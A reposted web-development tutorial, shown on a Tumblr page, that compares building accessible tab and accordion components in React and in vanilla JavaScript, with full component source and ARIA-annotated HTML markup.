import React, { useState } from 'react'; import PropTypes from 'prop-types'; import { v4 as uuid } from 'uuid'; import cx from 'classnames'; // UI. import Render from './Render'; // =========== // Get tab ID. // =========== const getTabId = (id = '', index = 0) => { return `tab_${id}_${index}`; }; // ============= // Get panel ID. // ============= const getPanelId = (id = '', index = 0) => { return `tabpanel_${id}_${index}`; }; // ========== // Is active? // ========== const getIsActive = ({ activeIndex = null, index = null, list = [] }) => { // Index matches? const isMatch = index === parseFloat(activeIndex); // Is first item? const isFirst = index === 0; // Only first item exists? const onlyFirstItem = list.length === 1; // Item doesn't exist? const badActiveItem = !list[activeIndex]; // Flag as active? const isActive = isMatch || onlyFirstItem || (isFirst && badActiveItem); // Expose boolean. return !!isActive; }; getIsActive.propTypes = { activeIndex: PropTypes.number, index: PropTypes.number, list: PropTypes.array, }; // ================ // Get `<ul>` list. // ================ const getTabsList = ({ activeIndex = null, id = '', list = [], setActiveIndex = () => {} }) => { // Build new list. const newList = list.map((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { disabled = null, label = '' } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = getIsActive({ activeIndex, index, list }); // ======= // Events. // ======= const handleClick = (event = {}) => { const { key = '' } = event; if (!disabled) { // Early exit. if (key && key.toLowerCase() !== 'enter') { return; } setActiveIndex(index); } }; // ============ // Add to list. // ============ return ( <li aria-controls={idPanel} aria-disabled={disabled} aria-selected={isActive} className="tabs__item" disabled={disabled} id={idTab} key={idTab} role="tab" tabIndex={disabled ? null : 0} // Events. onClick={handleClick} onKeyDown={handleClick} > {label || `${index + 1}`} </li> ); }); // ========== // Expose UI. // ========== return ( <Render if={newList.length}> <ul className="tabs__list" role="tablist"> {newList} </ul> </Render> ); }; getTabsList.propTypes = { activeIndex: PropTypes.number, id: PropTypes.string, list: PropTypes.array, setActiveIndex: PropTypes.func, }; // ================= // Get `<div>` list. // ================= const getPanelsList = ({ activeIndex = null, id = '', list = [] }) => { // Build new list. const newList = list.map((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { children = '', className = null, style = null } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = getIsActive({ activeIndex, index, list }); // ============= // Get children. // ============= let content = children || item; if (typeof content === 'string') { content = <p>{content}</p>; } // ================= // Build class list. // ================= const classList = cx({ tabs__panel: true, [String(className)]: className, }); // ========== // Expose UI. // ========== return ( <div aria-hidden={!isActive} aria-labelledby={idTab} className={classList} id={idPanel} key={idPanel} role="tabpanel" style={style} > {content} </div> ); }); // ========== // Expose UI. // ========== return newList; }; getPanelsList.propTypes = { activeIndex: PropTypes.number, id: PropTypes.string, list: PropTypes.array, }; // ========== // Component. // ========== const Tabs = ({ children = '', className = null, selected = 0, style = null, id: propsId = uuid(), }) => { // =============== // Internal state. // =============== const [id] = useState(propsId); const [activeIndex, setActiveIndex] = useState(selected); // ================= // Build class list. // ================= const classList = cx({ tabs: true, [String(className)]: className, }); // =============== // Build UI lists. // =============== const list = Array.isArray(children) ? children : [children]; const tabsList = getTabsList({ activeIndex, id, list, setActiveIndex, }); const panelsList = getPanelsList({ activeIndex, id, list, }); // ========== // Expose UI. // ========== return ( <Render if={list[0]}> <div className={classList} id={id} style={style}> {tabsList} {panelsList} </div> </Render> ); }; Tabs.propTypes = { children: PropTypes.node, className: PropTypes.string, id: PropTypes.string, selected: PropTypes.number, style: PropTypes.object, }; export default Tabs;
Function: getIsActive
Due to a <Tabs> component always having something active and visible, this function contains some logic to determine whether an index of a given tab should be the lucky winner. Essentially, in sentence form the logic goes like this.
This current tab is active if:
Its index matches the activeIndex, or
The tabs UI has only one tab, or
It is the first tab, and the activeIndex tab does not exist.
const getIsActive = ({ activeIndex = null, index = null, list = [] }) => { // Index matches? const isMatch = index === parseFloat(activeIndex); // Is first item? const isFirst = index === 0; // Only first item exists? const onlyFirstItem = list.length === 1; // Item doesn't exist? const badActiveItem = !list[activeIndex]; // Flag as active? const isActive = isMatch || onlyFirstItem || (isFirst && badActiveItem); // Expose boolean. return !!isActive; };
Function: getTabsList
This function generates the clickable <li role="tabs"> UI, and returns it wrapped in a parent <ul role="tablist">. It assigns all the relevant aria-* and role attributes, and handles binding the onClickand onKeyDown events. When an event is triggered, setActiveIndex is called. This updates the component’s internal state.
It is noteworthy how the content of the <li> is derived. That is passed in as <div label="…"> children of the parent <Tabs> component. Though this is not a real concept in flat HTML, it is a handy way to think about the relationship of the content. The children of that <div> become the the innards of our role="tabpanel" later.
const getTabsList = ({ activeIndex = null, id = '', list = [], setActiveIndex = () => {} }) => { // Build new list. const newList = list.map((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { disabled = null, label = '' } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = getIsActive({ activeIndex, index, list }); // ======= // Events. // ======= const handleClick = (event = {}) => { const { key = '' } = event; if (!disabled) { // Early exit. if (key && key.toLowerCase() !== 'enter') { return; } setActiveIndex(index); } }; // ============ // Add to list. // ============ return ( <li aria-controls={idPanel} aria-disabled={disabled} aria-selected={isActive} className="tabs__item" disabled={disabled} id={idTab} key={idTab} role="tab" tabIndex={disabled ? null : 0} // Events. onClick={handleClick} onKeyDown={handleClick} > {label || `${index + 1}`} </li> ); }); // ========== // Expose UI. // ========== return ( <Render if={newList.length}> <ul className="tabs__list" role="tablist"> {newList} </ul> </Render> ); };
Function: getPanelsList
This function parses the incoming children of the top level component and extracts the content. It also makes use of getIsActive to determine whether (or not) to apply aria-hidden="true". As one might expect by now, it adds all the other relevant aria-* and role attributes too. It also applies any extra className or style that was passed in.
It also is “smart” enough to wrap any string content — anything lacking a wrapping tag already — in <p> tags for consistency.
const getPanelsList = ({ activeIndex = null, id = '', list = [] }) => { // Build new list. const newList = list.map((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { children = '', className = null, style = null } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = getIsActive({ activeIndex, index, list }); // ============= // Get children. // ============= let content = children || item; if (typeof content === 'string') { content = <p>{content}</p>; } // ================= // Build class list. // ================= const classList = cx({ tabs__panel: true, [String(className)]: className, }); // ========== // Expose UI. // ========== return ( <div aria-hidden={!isActive} aria-labelledby={idTab} className={classList} id={idPanel} key={idPanel} role="tabpanel" style={style} > {content} </div> ); }); // ========== // Expose UI. // ========== return newList; };
Function: Tabs
This is the main component. It sets an internal state for an id, to essentially cache any generated uuid() so that it does not change during the lifecycle of the component. React is finicky about its key attributes (in the previous loops) changing dynamically, so this ensures they remain static once set.
We also employ useState to track the currently selected tab, and pass down a setActiveIndex function to each <li> to monitor when they are clicked. After that, it is pretty straightfowrard. We call getTabsList and getPanelsList to build our UI, and then wrap it all up in <div role="tablist">.
It accepts any wrapper level className or style, in case anyone wants further tweaks during implementation. Providing other developers (as consumers) this flexibility means that the likelihood of needing to make further edits to the core component is lower. Lately, I have been doing this as a “best practice” for all components I create.
const Tabs = ({ children = '', className = null, selected = 0, style = null, id: propsId = uuid(), }) => { // =============== // Internal state. // =============== const [id] = useState(propsId); const [activeIndex, setActiveIndex] = useState(selected); // ================= // Build class list. // ================= const classList = cx({ tabs: true, [String(className)]: className, }); // =============== // Build UI lists. // =============== const list = Array.isArray(children) ? children : [children]; const tabsList = getTabsList({ activeIndex, id, list, setActiveIndex, }); const panelsList = getPanelsList({ activeIndex, id, list, }); // ========== // Expose UI. // ========== return ( <Render if={list[0]}> <div className={classList} id={id} style={style}> {tabsList} {panelsList} </div> </Render> ); };
If you are curious about the <Render> function, you can read more about that in this example.
File: Accordion.js
// ============= // Used like so… // ============= <Accordion> <div label="Tab 1"> <p> Tab 1 content </p> </div> <div label="Tab 2"> <p> Tab 2 content </p> </div> </Accordion>
As you may have deduced — due to the vanilla JS example handling both tabs and accordion — this file has quite a few similarities to how Tabs.js works.
Rather than belabor the point, I will simply provide the file’s contents for completeness and then speak about the specific areas in which the logic differs. So, take a gander at the contents and I will explain what makes <Accordion> quirky.
import React, { useState } from 'react'; import PropTypes from 'prop-types'; import { v4 as uuid } from 'uuid'; import cx from 'classnames'; // UI. import Render from './Render'; // =========== // Get tab ID. // =========== const getTabId = (id = '', index = 0) => { return `tab_${id}_${index}`; }; // ============= // Get panel ID. // ============= const getPanelId = (id = '', index = 0) => { return `tabpanel_${id}_${index}`; }; // ============================== // Get `tab` and `tabpanel` list. // ============================== const getTabsAndPanelsList = ({ activeItems = {}, id = '', isMulti = true, list = [], setActiveItems = () => {}, }) => { // Build new list. const newList = []; // Loop through. list.forEach((item = {}, index) => { // ========= // Get data. // ========= const { props: itemProps = {} } = item; const { children = '', className = null, disabled = null, label = '', style = null, } = itemProps; const idPanel = getPanelId(id, index); const idTab = getTabId(id, index); const isActive = !!activeItems[index]; // ======= // Events. // ======= const handleClick = (event = {}) => { const { key = '' } = event; if (!disabled) { // Early exit. if (key && key.toLowerCase() !== 'enter') { return; } // Keep active items? const state = isMulti ? activeItems : null; // Update active item. const newState = { ...state, [index]: !activeItems[index], }; // Set active item. setActiveItems(newState); } }; // ============= // Get children. // ============= let content = children || item; if (typeof content === 'string') { content = <p>{content}</p>; } // ================= // Build class list. // ================= const classList = cx({ accordion__panel: true, [String(className)]: className, }); // ======== // Add tab. // ======== newList.push( <div aria-controls={idPanel} aria-disabled={disabled} aria-selected={isActive} className="accordion__item" disabled={disabled} id={idTab} key={idTab} role="tab" tabIndex={disabled ? null : 0} // Events. onClick={handleClick} onKeyDown={handleClick} > <i aria-hidden="true" className="accordion__item__icon" /> {label || `${index + 1}`} </div> ); // ========== // Add panel. // ========== newList.push( <div aria-hidden={!isActive} aria-labelledby={idTab} className={classList} id={idPanel} key={idPanel} role="tabpanel" style={style} > {content} </div> ); }); // ========== // Expose UI. // ========== return newList; }; getTabsAndPanelsList.propTypes = { activeItems: PropTypes.object, id: PropTypes.string, isMulti: PropTypes.bool, list: PropTypes.array, setActiveItems: PropTypes.func, }; // ========== // Component. // ========== const Accordion = ({ children = '', className = null, isMulti = true, selected = {}, style = null, id: propsId = uuid(), }) => { // =============== // Internal state. // =============== const [id] = useState(propsId); const [activeItems, setActiveItems] = useState(selected); // ================= // Build class list. // ================= const classList = cx({ accordion: true, [String(className)]: className, }); // =============== // Build UI lists. // =============== const list = Array.isArray(children) ? children : [children]; const tabsAndPanelsList = getTabsAndPanelsList({ activeItems, id, isMulti, list, setActiveItems, }); // ========== // Expose UI. // ========== return ( <Render if={list[0]}> <div aria-multiselectable={isMulti} className={classList} id={id} role="tablist" style={style} > {tabsAndPanelsList} </div> </Render> ); }; Accordion.propTypes = { children: PropTypes.node, className: PropTypes.string, id: PropTypes.string, isMulti: PropTypes.bool, selected: PropTypes.object, style: PropTypes.object, }; export default Accordion;
Function: handleClick
While most of our <Accordion> logic is similar to <Tabs>, it differs in how it stores the currently active tab.
Since <Tabs> are always mutually exclusive, we only really need a single numeric index. Easy peasy.
However, because an <Accordion> can have concurrently visible panels — or be used in a mutually exclusive manner — we need to represent that to useState in a way that could handle both.
If you were beginning to think…
“I would store that in an object.”
…then congrats. You are right!
This function does a quick check to see if isMulti has been set to true. If so, we use the spread syntax to apply the existing activeItems to our newState object. We then set the current index to its boolean opposite.
const handleClick = (event = {}) => { const { key = '' } = event; if (!disabled) { // Early exit. if (key && key.toLowerCase() !== 'enter') { return; } // Keep active items? const state = isMulti ? activeItems : null; // Update active item. const newState = { ...state, [index]: !activeItems[index], }; // Set active item. setActiveItems(newState); } };
For reference, here is how our activeItems object looks if only the first accordion panel is active and a user clicks the second. Both indexes would be set to true. This allows for viewing two expanded role="tabpanel" simultaneously.
/* Internal representation of `activeItems` state. */ { 0: true, 1: true, }
Whereas if we were not operating in isMulti mode — when the wrapper has aria-multiselectable="false" — then activeItems would only ever contain one key/value pair.
Because rather than spreading the current activeItems, we would be spreading null. That effectively wipes the slate clean, before recording the currently active tab.
/* Internal representation of `activeItems` state. */ { 1: true, }
Conclusion
Still here? Awesome.
Hopefully you found this article informative, and maybe even learned a bit more about accessibility and JS(X) along the way. For review, let us look one more time at our flat HTML example and and the React usage of our <Tabs>component. Here is a comparison of the markup we would write in a vanilla JS approach, versus the JSX it takes to generate the same thing.
I am not saying that one is better than the other, but you can see how React makes it possible to distill things down into a mental model. Working directly in HTML, you always have to be aware of every tag.
HTML
<div class="tabs"> <ul class="tabs__list"> <li class="tabs__item"> Tab 1 </li> <li class="tabs__item"> Tab 2 </li> </ul> <div class="tabs__panel"> <p> Tab 1 content </p> </div> <div class="tabs__panel"> <p> Tab 2 content </p> </div> </div>
JSX
<Tabs> <div label="Tab 1"> Tab 1 content </div> <div label="Tab 2"> Tab 2 content </div> </Tabs>
↑ One of these probably looks preferrable, depending on your point of view.
Writing code closer to the metal means more direct control, but also more tedium. Using a framework like React means you get more functionality “for free,” but also it can be a black box.
That is, unless you understand the underlying nuances already. Then you can fluidly operate in either realm. Because you can see The Matrix for what it really is: Just JavaScript™. Not a bad place to be, no matter where you find yourself.
The post The Anatomy of a Tablist Component in Vanilla JavaScript Versus React appeared first on CSS-Tricks.
The Anatomy of a Tablist Component in Vanilla JavaScript Versus React published first on https://deskbysnafu.tumblr.com/
0 notes
recruitmentdubai · 5 years ago
Text
The Anatomy of a Tablist Component in Vanilla JavaScript Versus React
If you follow the undercurrent of the JavaScript community, there seems to be a divide as of late. It goes back over a decade. Really, this sort of strife has always been. Perhaps it is human nature.
Whenever a popular framework gains traction, you inevitably see people comparing it to rivals. I suppose that is to be expected. Everyone has a particular favorite.
Lately, the framework everyone loves (to hate?) is React. You often see it pitted against others in head-to-head blog posts and feature comparison matrices of enterprise whitepapers. Yet a few years ago, it seemed like jQuery would forever be king of the hill.
Frameworks come and go. To me, what is more interesting is when React — or any JS framework for that matter — gets pitted against the programming language itself. Because of course, under the hood, it is all built atop JS.
The two are not inherently at odds. I would even go so far as to say that if you do not have a good handle on JS fundamentals, you probably are not going to reap the full benefits of using React. It can still be helpful, similar to using a jQuery plugin without understanding its internals. But I feel like React presupposes more JS familiarity.
HTML is equally important. There exists a fair bit of FUD around how React affects accessibility. I think this narrative is inaccurate. In fact, the ESLint JSX a11y plugin will warn of possible accessibility violations in the console.
Tumblr media
ESLint warnings about empty <a> tags
Recently, an annual study of the top 1 million sites was released. It shows that for sites using JS frameworks, there is an increased likelihood of accessibility problems. This is correlation, not causation.
This does not necessarily mean that the frameworks caused these errors, but it does indicate that home pages with these frameworks had more errors than on average.
In a manner of speaking, React’s magic incantations work regardless of whether you recognize the words. Ultimately, you are still responsible for the outcome.
Philosophical musings aside, I am a firm believer in choosing the best tool for the job. Sometimes, that means building a single page app with a Jamstack approach. Or maybe a particular project is better suited to offloading HTML rendering to the server, where it has historically been handled.
Either way, there inevitably comes the need for JS to augment the user experience. At Reaktiv Studios, to that end I have been attempting to keep most of our React components in sync with our “flat HTML” approach. I have been writing commonly used functionality in vanilla JS as well. This keeps our options open, so that our clients are free to choose. It also allows us to reuse the same CSS.
If I may, I would like to share how I built our <Tabs> and <Accordion> React components. I will also demonstrate how I wrote the same functionality without using a framework.
Hopefully, this lesson will feel like we are making a layered cake. Let us first start with the base markup, then cover the vanilla JS, and finish with how it works in React.
Table of contents
Flat HTML examples
Vanilla JavaScript examples
React examples
Conclusion
For reference, you can tinker with our live examples:
Live demo of Accordion
Live demo of Tabs
Tumblr media
Reaktiv Studios UI components
Flat HTML examples
Since we need JavaScript to make interactive widgets either way, I figured the easiest approach — from a server side implementation standpoint — would be to require only the bare minimum HTML. The rest can be augmented with JS.
The following are examples of markup for tabs and accordion components, showing a before/after comparison of how JS affects the DOM.
I have added id="TABS_ID" and id="ACCORDION_ID" for demonstrative purposes. This is to make it more obvious what is happening. But the JS that I will be explaining automatically generates unique IDs if nothing is supplied in the HTML. It would work fine either way, with or without an id specified.
Tabs (without ARIA)
<div class="tabs" id="TABS_ID"> <ul class="tabs__list"> <li class="tabs__item"> Tab 1 </li> <!-- .tabs__item --> <li class="tabs__item"> Tab 2 </li> <!-- .tabs__item --> <li class="tabs__item" disabled> Tab 3 (disabled) </li> <!-- .tabs__item --> </ul> <!-- .tabs__list --> <div class="tabs__panel"> <p> Tab 1 content </p> </div> <!-- .tabs__panel --> <div class="tabs__panel"> <p> Tab 2 content </p> </div> <!-- .tabs__panel --> <div class="tabs__panel"> <p> NOTE: This tab is disabled. </p> </div> <!-- .tabs__panel --> </div> <!-- .tabs -->
Tabs (with ARIA)
<div class="tabs" id="TABS_ID"> <ul class="tabs__list" role="tablist"> <li aria-controls="tabpanel_TABS_ID_0" aria-selected="false" class="tabs__item" id="tab_TABS_ID_0" role="tab" tabindex="0" > Tab 1 </li> <!-- .tabs__item --> <li aria-controls="tabpanel_TABS_ID_1" aria-selected="true" class="tabs__item" id="tab_TABS_ID_1" role="tab" tabindex="0" > Tab 2 </li> <!-- .tabs__item --> <li aria-controls="tabpanel_TABS_ID_2" aria-disabled="true" aria-selected="false" class="tabs__item" disabled id="tab_TABS_ID_2" role="tab" > Tab 3 (disabled) </li> <!-- .tabs__item --> </ul> <!-- .tabs__list --> <div aria-hidden="true" aria-labelledby="tab_TABS_ID_0" class="tabs__panel" id="tabpanel_TABS_ID_0" role="tabpanel" > <p> Tab 1 content </p> </div> <!-- .tabs__panel --> <div aria-hidden="false" aria-labelledby="tab_TABS_ID_1" class="tabs__panel" id="tabpanel_TABS_ID_1" role="tabpanel" > <p> Tab 2 content </p> </div> <!-- .tabs__panel --> <div aria-hidden="true" aria-labelledby="tab_TABS_ID_2" class="tabs__panel" id="tabpanel_TABS_ID_2" role="tabpanel" > <p> NOTE: This tab is disabled. </p> </div> <!-- .tabs__panel --> </div> <!-- .tabs -->
Accordion (without ARIA)
<div class="accordion" id="ACCORDION_ID"> <div class="accordion__item"> Tab 1 </div> <!-- .accordion__item --> <div class="accordion__panel"> <p> Tab 1 content </p> </div> <!-- .accordion__panel --> <div class="accordion__item"> Tab 2 </div> <!-- .accordion__item --> <div class="accordion__panel"> <p> Tab 2 content </p> </div> <!-- .accordion__panel --> <div class="accordion__item" disabled> Tab 3 (disabled) </div> <!-- .accordion__item --> <div class="accordion__panel"> <p> NOTE: This tab is disabled. </p> </div> <!-- .accordion__panel --> </div> <!-- .accordion -->
Accordion (with ARIA)
<div aria-multiselectable="true" class="accordion" id="ACCORDION_ID" role="tablist" > <div aria-controls="tabpanel_ACCORDION_ID_0" aria-selected="true" class="accordion__item" id="tab_ACCORDION_ID_0" role="tab" tabindex="0" > <i aria-hidden="true" class="accordion__item__icon"></i> Tab 1 </div> <!-- .accordion__item --> <div aria-hidden="false" aria-labelledby="tab_ACCORDION_ID_0" class="accordion__panel" id="tabpanel_ACCORDION_ID_0" role="tabpanel" > <p> Tab 1 content </p> </div> <!-- .accordion__panel --> <div aria-controls="tabpanel_ACCORDION_ID_1" aria-selected="false" class="accordion__item" id="tab_ACCORDION_ID_1" role="tab" tabindex="0" > <i aria-hidden="true" class="accordion__item__icon"></i> Tab 2 </div> <!-- .accordion__item --> <div aria-hidden="true" aria-labelledby="tab_ACCORDION_ID_1" class="accordion__panel" id="tabpanel_ACCORDION_ID_1" role="tabpanel" > <p> Tab 2 content </p> </div> <!-- .accordion__panel --> <div aria-controls="tabpanel_ACCORDION_ID_2" aria-disabled="true" aria-selected="false" class="accordion__item" disabled id="tab_ACCORDION_ID_2" role="tab" > <i aria-hidden="true" class="accordion__item__icon"></i> Tab 3 (disabled) </div> <!-- .accordion__item --> <div aria-hidden="true" aria-labelledby="tab_ACCORDION_ID_2" class="accordion__panel" id="tabpanel_ACCORDION_ID_2" role="tabpanel" > <p> NOTE: This tab is disabled. </p> </div> <!-- .accordion__panel --> </div> <!-- .accordion -->
Vanilla JavaScript examples
Okay. Now that we have seen the aforementioned HTML examples, let us walk through how we get from before to after.
First, I want to cover a few helper functions. These will make more sense in a bit. I figure it is best to get them documented first, so we can stay focused on the rest of the code once we dive in further.
File: getDomFallback.js
This function provides common DOM properties and methods as no-op, rather than having to make lots of typeof foo.getAttribute checks and whatnot. We could forego those types of confirmations altogether.
Since live HTML changes can be a potentially volatile environment, I always feel a bit safer making sure my JS is not bombing out and taking the rest of the page with it. Here is what that function looks like. It simply returns an object with the DOM equivalents of falsy results.
/* Helper to mock DOM methods, for when an element might not exist. */ const getDomFallback = () => { return { // Props. children: [], className: '', classList: { contains: () => false, }, id: '', innerHTML: '', name: '', nextSibling: null, previousSibling: null, outerHTML: '', tagName: '', textContent: '', // Methods. appendChild: () => Object.create(null), cloneNode: () => Object.create(null), closest: () => null, createElement: () => Object.create(null), getAttribute: () => null, hasAttribute: () => false, insertAdjacentElement: () => Object.create(null), insertBefore: () => Object.create(null), querySelector: () => null, querySelectorAll: () => [], removeAttribute: () => undefined, removeChild: () => Object.create(null), replaceChild: () => Object.create(null), setAttribute: () => undefined, }; }; // Export. export { getDomFallback };
File: unique.js
This function is a poor man’s UUID equivalent.
It generates a unique string that can be used to associate DOM elements with one another. It is handy, because then the author of an HTML page does not have to ensure that every tabs and accordion component have unique IDs. In the previous HTML examples, this is where TABS_ID and ACCORDION_ID would typically contain the randomly generated numeric strings instead.
// ========== // Constants. // ========== const BEFORE = '0.'; const AFTER = ''; // ================== // Get unique string. // ================== const unique = () => { // Get prefix. let prefix = Math.random(); prefix = String(prefix); prefix = prefix.replace(BEFORE, AFTER); // Get suffix. let suffix = Math.random(); suffix = String(suffix); suffix = suffix.replace(BEFORE, AFTER); // Expose string. return `${prefix}_${suffix}`; }; // Export. export { unique };
On larger JavaScript projects, I would typically use npm install uuid. But since we are keeping this simple and do not require cryptographic parity, concatenating two lightly edited Math.random() numbers will suffice for our string uniqueness needs.
File: tablist.js
This file does the bulk of the work. What is cool about it, if I do say so myself, is that there are enough similarities between a tabs component and an accordion that we can handle both with the same *.js file. Go ahead and scroll through the entirety, and then we will break down what each function does individually.
// Helpers. import { getDomFallback } from './getDomFallback'; import { unique } from './unique'; // ========== // Constants. // ========== // Boolean strings. const TRUE = 'true'; const FALSE = 'false'; // ARIA strings. const ARIA_CONTROLS = 'aria-controls'; const ARIA_DISABLED = 'aria-disabled'; const ARIA_LABELLEDBY = 'aria-labelledby'; const ARIA_HIDDEN = 'aria-hidden'; const ARIA_MULTISELECTABLE = 'aria-multiselectable'; const ARIA_SELECTED = 'aria-selected'; // Attribute strings. const DISABLED = 'disabled'; const ID = 'id'; const ROLE = 'role'; const TABLIST = 'tablist'; const TABINDEX = 'tabindex'; // Event strings. const CLICK = 'click'; const KEYDOWN = 'keydown'; // Key strings. const ENTER = 'enter'; const FUNCTION = 'function'; // Tag strings. const LI = 'li'; // Selector strings. const ACCORDION_ITEM_ICON = 'accordion__item__icon'; const ACCORDION_ITEM_ICON_SELECTOR = `.${ACCORDION_ITEM_ICON}`; const TAB = 'tab'; const TAB_SELECTOR = `[${ROLE}=${TAB}]`; const TABPANEL = 'tabpanel'; const TABPANEL_SELECTOR = `[${ROLE}=${TABPANEL}]`; const ACCORDION = 'accordion'; const TABLIST_CLASS_SELECTOR = '.accordion, .tabs'; const TAB_CLASS_SELECTOR = '.accordion__item, .tabs__item'; const TABPANEL_CLASS_SELECTOR = '.accordion__panel, .tabs__panel'; // =========== // Get tab ID. // =========== const getTabId = (id = '', index = 0) => { return `tab_${id}_${index}`; }; // ============= // Get panel ID. // ============= const getPanelId = (id = '', index = 0) => { return `tabpanel_${id}_${index}`; }; // ============== // Click handler. // ============== const globalClick = (event = {}) => { // Get target. const { key = '', target = getDomFallback() } = event; // Get parent. const { parentNode = getDomFallback(), tagName = '' } = target; // Set later. let wrapper = getDomFallback(); /* ===== NOTE: ===== We test for this, because the method does not exist on `document.documentElement`. */ if (typeof target.closest === FUNCTION) { // Get wrapper. wrapper = target.closest(TABLIST_CLASS_SELECTOR) || getDomFallback(); } // Is `<li>`? const isListItem = tagName.toLowerCase() === LI; // Is multi? const isMulti = wrapper.getAttribute(ARIA_MULTISELECTABLE) === TRUE; // Valid key? const isValidKey = !key || key.toLowerCase() === ENTER; // Valid target? const isValidTarget = !target.hasAttribute(DISABLED) && target.getAttribute(ROLE) === TAB && parentNode.getAttribute(ROLE) === TABLIST; // Valid event? const isValidEvent = isValidKey && isValidTarget; // Continue? if (isValidEvent) { // Get panel. const panelId = target.getAttribute(ARIA_CONTROLS); const panel = wrapper.querySelector(`#${panelId}`) || getDomFallback(); // Get booleans. let boolPanel = panel.getAttribute(ARIA_HIDDEN) !== TRUE; let boolTab = target.getAttribute(ARIA_SELECTED) !== TRUE; // List item? if (isListItem) { boolPanel = FALSE; boolTab = TRUE; } // [aria-multiselectable="false"] if (!isMulti) { // Get tabs & panels. const childTabs = wrapper.querySelectorAll(TAB_SELECTOR); const childPanels = wrapper.querySelectorAll(TABPANEL_SELECTOR); // Loop through tabs. childTabs.forEach((tab = getDomFallback()) => { tab.setAttribute(ARIA_SELECTED, FALSE); }); // Loop through panels. childPanels.forEach((panel = getDomFallback()) => { panel.setAttribute(ARIA_HIDDEN, TRUE); }); } // Set individual tab. target.setAttribute(ARIA_SELECTED, boolTab); // Set individual panel. panel.setAttribute(ARIA_HIDDEN, boolPanel); } }; // ==================== // Add ARIA attributes. // ==================== const addAriaAttributes = () => { // Get elements. const allWrappers = document.querySelectorAll(TABLIST_CLASS_SELECTOR); // Loop through. allWrappers.forEach((wrapper = getDomFallback()) => { // Get attributes. const { id = '', classList } = wrapper; const parentId = id || unique(); // Is accordion? const isAccordion = classList.contains(ACCORDION); // Get tabs & panels. const childTabs = wrapper.querySelectorAll(TAB_CLASS_SELECTOR); const childPanels = wrapper.querySelectorAll(TABPANEL_CLASS_SELECTOR); // Add ID? if (!wrapper.getAttribute(ID)) { wrapper.setAttribute(ID, parentId); } // Add multi? if (isAccordion && wrapper.getAttribute(ARIA_MULTISELECTABLE) !== FALSE) { wrapper.setAttribute(ARIA_MULTISELECTABLE, TRUE); } // =========================== // Loop through tabs & panels. // =========================== for (let index = 0; index < childTabs.length; index++) { // Get elements. const tab = childTabs[index] || getDomFallback(); const panel = childPanels[index] || getDomFallback(); // Get IDs. const tabId = getTabId(parentId, index); const panelId = getPanelId(parentId, index); // =================== // Add tab attributes. // =================== // Tab: add icon? if (isAccordion) { // Get icon. let icon = tab.querySelector(ACCORDION_ITEM_ICON_SELECTOR); // Create icon? if (!icon) { icon = document.createElement(I); icon.className = ACCORDION_ITEM_ICON; tab.insertAdjacentElement(AFTER_BEGIN, icon); } // [aria-hidden="true"] icon.setAttribute(ARIA_HIDDEN, TRUE); } // Tab: add id? if (!tab.getAttribute(ID)) { tab.setAttribute(ID, tabId); } // Tab: add controls? if (!tab.getAttribute(ARIA_CONTROLS)) { tab.setAttribute(ARIA_CONTROLS, panelId); } // Tab: add selected? if (!tab.getAttribute(ARIA_SELECTED)) { const bool = !isAccordion && index === 0; tab.setAttribute(ARIA_SELECTED, bool); } // Tab: add role? if (tab.getAttribute(ROLE) !== TAB) { tab.setAttribute(ROLE, TAB); } // Tab: add tabindex? if (tab.hasAttribute(DISABLED)) { tab.removeAttribute(TABINDEX); tab.setAttribute(ARIA_DISABLED, TRUE); } else { tab.setAttribute(TABINDEX, 0); } // Tab: first item? if (index === 0) { // Get parent. const { parentNode = getDomFallback() } = tab; /* We do this here, instead of outside the loop. The top level item isn't always the `tablist`. The accordion UI only has `<dl>`, whereas the tabs UI has both `<div>` and `<ul>`. */ if (parentNode.getAttribute(ROLE) !== TABLIST) { parentNode.setAttribute(ROLE, TABLIST); } } // ===================== // Add panel attributes. // ===================== // Panel: add ID? if (!panel.getAttribute(ID)) { panel.setAttribute(ID, panelId); } // Panel: add hidden? if (!panel.getAttribute(ARIA_HIDDEN)) { const bool = isAccordion || index !== 0; panel.setAttribute(ARIA_HIDDEN, bool); } // Panel: add labelled? if (!panel.getAttribute(ARIA_LABELLEDBY)) { panel.setAttribute(ARIA_LABELLEDBY, tabId); } // Panel: add role? if (panel.getAttribute(ROLE) !== TABPANEL) { panel.setAttribute(ROLE, TABPANEL); } } }); }; // ===================== // Remove global events. // ===================== const unbind = () => { document.removeEventListener(CLICK, globalClick); document.removeEventListener(KEYDOWN, globalClick); }; // ================== // Add global events. // ================== const init = () => { // Add attributes. addAriaAttributes(); // Prevent doubles. unbind(); document.addEventListener(CLICK, globalClick); document.addEventListener(KEYDOWN, globalClick); }; // ============== // Bundle object. // ============== const tablist = { init, unbind, }; // ======= // Export. // ======= export { tablist };
Function: getTabId and getPanelId
These two functions are used to create individually unique IDs for elements in a loop, based on an existing (or generated) parent ID. This is helpful to ensure matching values for attributes like aria-controls="…" and aria-labelledby="…". Think of those as the accessibility equivalents of <label for="…">, telling the browser which elements are related to one another.
const getTabId = (id = '', index = 0) => { return `tab_${id}_${index}`; };
const getPanelId = (id = '', index = 0) => { return `tabpanel_${id}_${index}`; };
Function: globalClick
This is a click handler that is applied at the document level. That means we are not having to manually add click handlers to a number of elements. Instead, we use event bubbling to listen for clicks further down in the document, and allow them to propagate up to the top. Conveniently, this is also how we can handle keyboard events such as the Enter key being pressed. Both are necessary to have an accessible UI.
In the first part of the function, we destructure key and target from the incoming event. Next, we destructure the parentNode and tagName from the target.
Then, we attempt to get the wrapper element. This would be the one with either class="tabs" or class="accordion". Because we might actually be clicking on the ancestor element highest in the DOM tree — which exists but possibly does not have the *.closest(…) method — we do a typeof check. If that function exists, we attempt to get the element. Even still, we might come up without a match. So we have one more getDomFallback to be safe.
